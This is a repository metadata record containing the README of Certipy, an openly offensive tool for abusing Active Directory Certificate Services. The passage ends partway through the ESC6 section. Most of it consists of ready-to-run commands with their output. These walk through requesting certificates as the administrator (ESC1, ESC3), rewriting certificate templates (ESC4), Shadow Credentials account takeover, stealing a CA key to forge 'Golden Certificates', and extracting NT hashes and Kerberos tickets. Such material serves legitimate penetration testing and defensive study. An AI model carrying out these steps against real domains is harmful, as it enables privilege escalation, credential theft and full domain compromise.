{"id":13717274,"url":"https://github.com/ly4k/Certipy","last_synced_at":"2025-05-07T07:30:45.863Z","repository":{"id":37504322,"uuid":"414397086","full_name":"ly4k/Certipy","owner":"ly4k","description":"Tool for Active Directory Certificate Services enumeration and abuse","archived":false,"fork":false,"pushed_at":"2024-08-19T17:33:04.000Z","size":242,"stargazers_count":2718,"open_issues_count":94,"forks_count":381,"subscribers_count":33,"default_branch":"main","last_synced_at":"2025-04-28T11:52:20.595Z","etag":null,"topics":["adcs","pki"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ly4k.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-10-06T23:02:40.000Z","updated_at":"2025-04-28T09:20:10.000Z","dependencies_parsed_at":"2024-06-18T17:09:19.552Z","dependency_job_id":"e600f74e-a322-48b9-9941-f1b59c2db962","html_url":"https://github.com/ly4k/Certipy","commit_stats":{"total_commits":72,"total_committers":15,"mean_commits":4.8,"dds":"0.38888888888888884","last_synced_commit":"dcb873e5e919103f3ea4ab2c2d8947c7fba3bf81"},"previous_names":[],"tags_count":23,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ly4k%2FCertipy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ly4k%2FCertipy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ly4k%2FCertipy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ly4k%2FCertipy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ly4k","download_url":"https://codeload.github.com/ly4k/Certipy/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252833418,"owners_count":21811178,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["adcs","pki"],"created_at":"2024-08-03T00:01:20.145Z","updated_at":"2025-05-07T07:30:45.416Z","avatar_url":"https://github.com/ly4k.png","language":"Python","readme":"# Certipy\n\n[![Upload Python Package](https://github.com/ly4k/Certipy/actions/workflows/python-publish.yml/badge.svg)](https://github.com/ly4k/Certipy/actions/workflows/python-publish.yml)\n\nCertipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). If you're not familiar with AD CS and the various domain escalation techniques, I highly recommend reading [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) by [Will Schroeder](https://twitter.com/harmj0y) and [Lee Christensen](https://twitter.com/tifkin_).\n\n## Table of Contents\n\n- [Certipy](#certipy)\n  - [Table of Contents](#table-of-contents)\n  - [Installation](#installation)\n  - [Usage](#usage)\n    - [Find](#find)\n    - [Request](#request)\n    - [Authenticate](#authenticate)\n    - [Shadow Credentials](#shadow-credentials)\n    - [Golden Certificates](#golden-certificates)\n    - [Certificates](#certificates)\n    - [Domain Escalation](#domain-escalation)\n      - [ESC1](#esc1)\n      - [ESC2](#esc2)\n      - [ESC3](#esc3)\n      - [ESC4](#esc4)\n      - [ESC6](#esc6)\n      - [ESC7](#esc7)\n      - [ESC8](#esc8)\n      - [ESC9 \u0026 ESC10](#esc9--esc10)\n      - [ESC11](#esc11)\n  - [Contact](#contact)\n  - [Credits](#credits)\n\n## Installation\n\n```bash\npip3 install certipy-ad\n```\n\n## Usage\n\nA lot of the usage and features are demonstrated in the [blog posts](https://research.ifcr.dk/) for the release of Certipy [2.0](https://research.ifcr.dk/34d1c26f0dc6) and [4.0](https://research.ifcr.dk/7237d88061f7).\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...\n\nActive Directory Certificate Services enumeration and abuse\n\npositional arguments:\n  {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}\n                        Action\n    account             Manage user and machine accounts\n    auth                Authenticate using certificates\n    ca                  Manage CA and certificates\n    cert                Manage certificates and private keys\n    find                Enumerate AD CS\n    forge               Create Golden Certificates\n    ptt                 Inject TGT for SSPI authentication\n    relay               NTLM Relay to AD CS HTTP Endpoints\n    req                 Request certificates\n    shadow              Abuse Shadow Credentials for account takeover\n    template            Manage certificate templates\n\noptional arguments:\n  -v, --version         Show Certipy's version number and exit\n  -h, --help            Show this help message and exit\n```\n\n### Find\n\nThe `find` command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp]\n                    [-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -debug                Turn debug output on\n\noutput options:\n  -bloodhound           Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support\n  -old-bloodhound       Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support\n  -text                 Output result as text\n  -stdout               Output result as text to stdout\n  -json                 Output result as JSON\n  -output prefix        Filename prefix for writing results to\n\nfind options:\n  -enabled              Show only enabled certificate templates. Does not affect BloodHound output\n  -dc-only              Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment\n  -vulnerable           Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output\n  -hide-admins          Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output\n\nconnection options:\n  -scheme ldap scheme\n  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\n  -target-ip ip address\n                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it\n  -target dns/ip address\n                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication\n  -ns nameserver        Nameserver for DNS resolution\n  -dns-tcp              Use TCP instead of UDP for DNS queries\n  -timeout seconds      Timeout for connections\n\nauthentication options:\n  -u username@domain, -username username@domain\n                        Username. Format: username@domain\n  -p password, -password password\n                        Password\n  -hashes [LMHASH:]NTHASH\n                        NTLM hash, format is [LMHASH:]NTHASH\n  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line\n  -sspi                 Use Windows Integrated Authentication (SSPI)\n  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)\n  -no-pass              Don't ask for password (useful for -k and -sspi)\n```\n\nThe output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.\n\n```bash\n$ certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Finding certificate templates\n[*] Found 45 certificate templates\n[*] Finding certificate authorities\n[*] Found 1 certificate authority\n[*] Found 23 enabled certificate templates\n[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA\n[*] Got CA configuration for 'CORP-DC-CA'\n[*] Saved BloodHound data to '20220802164803_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k\n[*] Saved text output to '20220802164803_Certipy.txt'\n[*] Saved JSON output to '20220802164803_Certipy.json'\n```\n\nTo only output BloodHound data, you can specify the `-bloodhound` parameter.\n\n```bash\n$ certipy find -u john@corp.local -p Passw0rd -bloodhound -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Finding certificate templates\n[*] Found 45 certificate templates\n[*] Finding certificate authorities\n[*] Found 1 certificate authority\n[*] Found 23 enabled certificate templates\n[*] Trying to get CA configuration for 'CORP-DC-CA' via CSRA\n[*] Got CA configuration for 'CORP-DC-CA'\n[*] Saved BloodHound data to '20220802164835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k\n```\n\nThe BloodHound data is saved as a ZIP-file that can be imported into my forked version of [BloodHound](https://github.com/ly4k/BloodHound/releases) with PKI support.\n\nIf you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the `-old-bloodhound` parameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in the [forked version](https://github.com/ly4k/BloodHound/).\n\nCustom Certipy queries for BloodHound can be found in [customqueries.json](./customqueries.json). These will not be necessary for the forked version.\n\nOn Linux, custom BloodHound queries can be added in `~/.config/bloodhound/customqueries.json`, and for Windows in `C:\\Users\\[USERNAME]\\AppData\\Roaming\\BloodHound\\customqueries.json`\n\n### Request\n\nThe `req` command is useful for requesting, retrieving, and renewing certificates.\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy req [-h] [-debug] -ca certificate authority name [-template template name] [-upn alternative UPN] [-dns alternative DNS] [-subject subject] [-retrieve request ID] [-on-behalf-of domain\\account] [-pfx pfx/p12 file name] [-key-size RSA key length] [-archive-key]\n                   [-renew] [-out output file name] [-web] [-dynamic-endpoint] [-scheme http scheme] [-port PORT] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] [-p password]\n                   [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -debug                Turn debug output on\n  -ca certificate authority name\n\ncertificate request options:\n  -template template name\n  -upn alternative UPN\n  -dns alternative DNS\n  -subject subject      Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL\n  -retrieve request ID  Retrieve an issued certificate specified by a request ID instead of requesting a new certificate\n  -on-behalf-of domain\\account\n                        Use a Certificate Request Agent certificate to request on behalf of another user\n  -pfx pfx/p12 file name\n                        Path to PFX for -on-behalf-of or -renew\n  -key-size RSA key length\n                        Length of RSA key. Default: 2048\n  -archive-key          Send private key for Key Archival\n  -renew                Create renewal request\n\noutput options:\n  -out output file name\n\nconnection options:\n  -web                  Use Web Enrollment instead of RPC\n  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\n  -target-ip ip address\n                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it\n  -target dns/ip address\n                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication\n  -ns nameserver        Nameserver for DNS resolution\n  -dns-tcp              Use TCP instead of UDP for DNS queries\n  -timeout seconds      Timeout for connections\n\nrpc connection options:\n  -dynamic-endpoint     Prefer dynamic TCP endpoint over named pipe\n\nhttp connection options:\n  -scheme http scheme\n  -port PORT            Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme.\n\nauthentication options:\n  -u username@domain, -username username@domain\n                        Username. Format: username@domain\n  -p password, -password password\n                        Password\n  -hashes [LMHASH:]NTHASH\n                        NTLM hash, format is [LMHASH:]NTHASH\n  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line\n  -sspi                 Use Windows Integrated Authentication (SSPI)\n  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)\n  -no-pass              Don't ask for password (useful for -k and -sspi)\n```\n\nTo request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the default `User` template.\n\nIn this example, we request a certificate from the CA `corp-CA` based on the template `User`.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 773\n[*] Got certificate with UPN 'JOHN@corp.local'\n[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'\n[*] Saved certificate and private key to 'john.pfx'\n```\n\nIf the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage.\n\nIf you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the `-sspi` parameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context.\n\n### Authenticate\n\nThe `auth` command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See the [blog posts](https://research.ifcr.dk/) for more information on when to use which option.\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -pfx pfx/p12 file name\n                        Path to certificate\n  -no-save              Don't save TGT to file\n  -no-hash              Don't request NT hash\n  -ptt                  Submit TGT for current logon session (Windows only)\n  -print                Print TGT in Kirbi format\n  -kirbi                Save TGT in Kirbi format\n  -debug                Turn debug output on\n\nconnection options:\n  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\n  -ns nameserver        Nameserver for DNS resolution\n  -dns-tcp              Use TCP instead of UDP for DNS queries\n  -timeout seconds      Timeout for connections\n\nauthentication options:\n  -username username\n  -domain domain\n  -ldap-shell           Authenticate with the certificate via Schannel against LDAP\n\nldap options:\n  -ldap-port port       LDAP port. Default: 389\n  -ldap-user-dn dn      Distinguished Name of target account for LDAPS authentication\n```\n\nBy default, Certipy will try to extract the username and domain from the certificate (`-pfx`) for authentication via Kerberos.\n\n```bash\n$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Using principal: administrator@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'administrator.ccache'\n[*] Trying to retrieve NT hash for 'administrator'\n[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889\n```\n\nThe NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use `-ptt` to inject the TGT into your current session.\n\nIf the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS.\n\n```bash\n$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Using principal: administrator@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'administrator.ccache'\n[*] Trying to retrieve NT hash for 'administrator'\n[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889\n```\n\n### Shadow Credentials\n\nThe `shadow` command is useful for taking over an account when you can write to the `msDS-KeyCredentialLink` attribute of the account. Read more about Shadow Credentials [here](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain]\n                      [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]\n                      {list,add,remove,clear,info,auto}\n\npositional arguments:\n  {list,add,remove,clear,info,auto}\n                        Key Credentials action\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -account target account\n                        Account to target. If omitted, the user specified in the target will be used\n  -device-id DEVICE_ID  Device ID of the Key Credential Link\n  -debug                Turn debug output on\n\noutput options:\n  -out output file name\n\nconnection options:\n  -scheme ldap scheme\n  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\n  -target-ip ip address\n                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it\n  -target dns/ip address\n                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication\n  -ns nameserver        Nameserver for DNS resolution\n  -dns-tcp              Use TCP instead of UDP for DNS queries\n  -timeout seconds      Timeout for connections\n\nauthentication options:\n  -u username@domain, -username username@domain\n                        Username. Format: username@domain\n  -p password, -password password\n                        Password\n  -hashes [LMHASH:]NTHASH\n                        NTLM hash, format is [LMHASH:]NTHASH\n  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line\n  -sspi                 Use Windows Integrated Authentication (SSPI)\n  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)\n  -no-pass              Don't ask for password (useful for -k and -sspi)\n```\n\nIn short, the Shadow Credentials attack is performed by adding a new \"Key Credential\" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication.\n\nCertipy's `shadow` command has an `auto` action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.\n\n```bash\n$ certipy shadow auto -username John@corp.local -p Passw0rd -account Jane\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Targeting user 'Jane'\n[*] Generating certificate\n[*] Certificate generated\n[*] Generating Key Credential\n[*] Key Credential generated with DeviceID '00f38738-288e-4c85-479a-a6313ab46fe6'\n[*] Adding Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'\n[*] Successfully added Key Credential with device ID '00f38738-288e-4c85-479a-a6313ab46fe6' to the Key Credentials for 'Jane'\n[*] Authenticating as 'Jane' with the certificate\n[*] Using principal: jane@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'jane.ccache'\n[*] Trying to retrieve NT hash for 'jane'\n[*] Restoring the old Key Credentials for 'Jane'\n[*] Successfully restored the old Key Credentials for 'Jane'\n[*] NT hash for 'Jane': a87f3a337d73085c45f9416be5787d86\n```\n\nThis action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage or [blog post](https://research.ifcr.dk/34d1c26f0dc6) for more information. \n\n### Golden Certificates\n\nGolden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromised `krbtgt` account's NT hash.\n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy forge [-h] -ca-pfx pfx/p12 file name [-upn alternative UPN] [-dns alternative DNS] [-template pfx/p12 file name] [-subject subject] [-issuer issuer] [-crl ldap path] [-serial serial number] [-key-size RSA key length] [-debug] [-out output file name]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -ca-pfx pfx/p12 file name\n                        Path to CA certificate\n  -upn alternative UPN\n  -dns alternative DNS\n  -template pfx/p12 file name\n                        Path to template certificate\n  -subject subject      Subject to include certificate\n  -issuer issuer        Issuer to include certificate. If not specified, the issuer from the CA cert will be used\n  -crl ldap path        ldap path to a CRL\n  -serial serial number\n  -key-size RSA key length\n                        Length of RSA key. Default: 2048\n  -debug                Turn debug output on\n\noutput options:\n  -out output file name\n```\n\nIn order to forge a certificate, we need the CA's certificate and private key.\n\nCertipy can automatically retrieve the certificate and private key with the `-backup` parameter. In order to do so, the user must have administrative privileges on the CA server.\n\n```bash\n$ certipy ca -backup -ca 'corp-DC-CA' -username administrator@corp.local -hashes fc525c9683e8fe067095ba2ddc971889\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Creating new service\n[*] Creating backup\n[*] Retrieving backup\n[*] Got certificate and private key\n[*] Saved certificate and private key to 'CORP-DC-CA.pfx'\n[*] Cleaning up\n```\n\nWith the CA's certificate and private key, we can for instance forge a certificate for the domain controller `DC$`:\n\n```bash\n$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Saved forged certificate and private key to 'administrator_forged.pfx'\n\n$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Using principal: administrator@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'administrator.ccache'\n[*] Trying to retrieve NT hash for 'administrator'\n[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889\n```\n\nThe forged certificate can then be used for authentication with Certipy's `auth` command. If the KDC returns `KDC_ERR_CLIENT_NOT_TRUSTED`, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with `-crl`, or you can use a previously issued certificate as a template with the `-template` parameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose.  \n\n### Certificates\n\nThe `cert` command is useful for working with PFX's from other tools, such as [Certify](https://github.com/GhostPack/Certify) or [KrbRelay](https://github.com/cube0x0/KrbRelay), which creates encrypted PFXs. \n\n```\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\nusage: certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug]\n\noptional arguments:\n  -h, --help          show this help message and exit\n  -pfx infile         Load PFX from file\n  -password password  Set import password\n  -key infile         Load private key from file\n  -cert infile        Load certificate from file\n  -export             Output PFX file\n  -out outfile        Output filename\n  -nocert             Don't output certificate\n  -nokey              Don't output private key\n  -debug              Turn debug output on\n```\n\nCertipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can recreate the PFX without the password:\n\n```bash\n$ certipy cert -pfx encrypted.pfx -password \"a387a1a1-5276-4488-9877-4e90da7567a4\" -export -out decrypted.pfx\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Writing PFX to 'decrypted.pfx'\n```\n\nThe `decrypted.pfx` file can then be used with Certipy's commands. \n\nIt is also possible to use the `cert` command to extract the private key and certificate from a PFX file by leaving out the `-export` parameter:\n\n```bash\n$ certipy cert -pfx john.pfx\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n-----BEGIN CERTIFICATE-----\nMIIF1DCCBLygAwIBAgITFwAAA...\n-----END CERTIFICATE-----\n-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BA...\n-----END PRIVATE KEY-----\n```\n\nIf you only want the certificate or the private key, you can specify `-nokey` or `-nocert`, respectively.\n\n```bash\n$ certipy cert -pfx john.pfx -nokey\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n-----BEGIN CERTIFICATE-----\nMIIF1DCCBLygAwIBAgITFwAAA...\n-----END CERTIFICATE-----\n\n$ certipy cert -pfx john.pfx -nocert\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BA...\n-----END PRIVATE KEY-----\n```\n\n### Domain Escalation\n\nThe following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) and practical examples can be found in my blog post on the [Certipy 2.0](https://research.ifcr.dk/34d1c26f0dc6) release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy.\n\n#### ESC1\n\nESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).\n\nFor ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the `-upn` and `-dns` parameter, respectively.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 780\n[*] Got certificate with multiple identifications\n    UPN: 'administrator@corp.local'\n    DNS Host Name: 'dc.corp.local'\n[*] Certificate has no object SID\n[*] Saved certificate and private key to 'administrator_dc.pfx'\n```\n\nIt is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, the `auth` command will ask you which identity to authenticate as.\n\n```bash\n$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Found multiple identifications in certificate\n[*] Please select one:\n    [0] UPN: 'administrator@corp.local'\n    [1] DNS Host Name: 'dc.corp.local'\n\u003e 1\n[*] Using principal: dc$@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'dc.ccache'\n[*] Trying to retrieve NT hash for 'dc$'\n[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0\n```\n\n#### ESC2\n\nESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below.\n\n#### ESC3\n\nESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.\n\nFirst, we must request a certificate based on the vulnerable certificate template ESC3.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC3-Test\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 781\n[*] Got certificate with UPN 'JOHN@corp.local'\n[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-1103'\n[*] Saved certificate and private key to 'john.pfx'\n```\n\nWe can then use the Certificate Request Agent certificate (`-pfx`) to request a certificate on behalf of other another user by specifying the `-on-behalf-of`. The `-on-behalf-of` parameter value must be in the form of `domain\\user`, and not the FQDN of the domain, i.e. `corp` rather than `corp.local`.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -on-behalf-of 'corp\\Administrator' -pfx john.pfx\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 782\n[*] Got certificate with UPN 'Administrator@corp.local'\n[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'\n[*] Saved certificate and private key to 'administrator.pfx'\n```\n\nAnd finally, we can use the new certificate to authenticate as `corp\\Administrator`.\n\n```bash\n$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Using principal: administrator@corp.local\n[*] Trying to get TGT...\n[*] Got TGT\n[*] Saved credential cache to 'administrator.ccache'\n[*] Trying to retrieve NT hash for 'administrator'\n[*] Got NT hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889\n```\n\n#### ESC4\n\nESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.\n\nBy default, Certipy will overwrite the configuration to make it vulnerable to ESC1. \n\nWe can specify the `-save-old` parameter to save the old configuration, which is useful for restoring the configuration afterwards.\n\n```bash\n$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Saved old configuration for 'ESC4-Test' to 'ESC4-Test.json'\n[*] Updating certificate template 'ESC4-Test'\n[*] Successfully updated 'ESC4-Test'\n```\n\nThe certificate template is now vulnerable to the ESC1 technique.\n\nTherefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the `-upn` or `-dns` parameter.\n\n```bash\n$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Requesting certificate via RPC\n[*] Successfully requested certificate\n[*] Request ID is 783\n[*] Got certificate with UPN 'administrator@corp.local'\n[*] Certificate has no object SID\n[*] Saved certificate and private key to 'administrator.pfx'\n\n```\n\nIf you want to restore the old configuration, you can specify the path to the saved configuration with the `-configuration` parameter.\n\n```bash\n$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json\nCertipy v4.0.0 - by Oliver Lyak (ly4k)\n\n[*] Updating certificate template 'ESC4-Test'\n[*] Successfully updated 'ESC4-Test'\n```\n\n#### ESC6\n\nESC6 is when the CA specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the enrollee to specify an 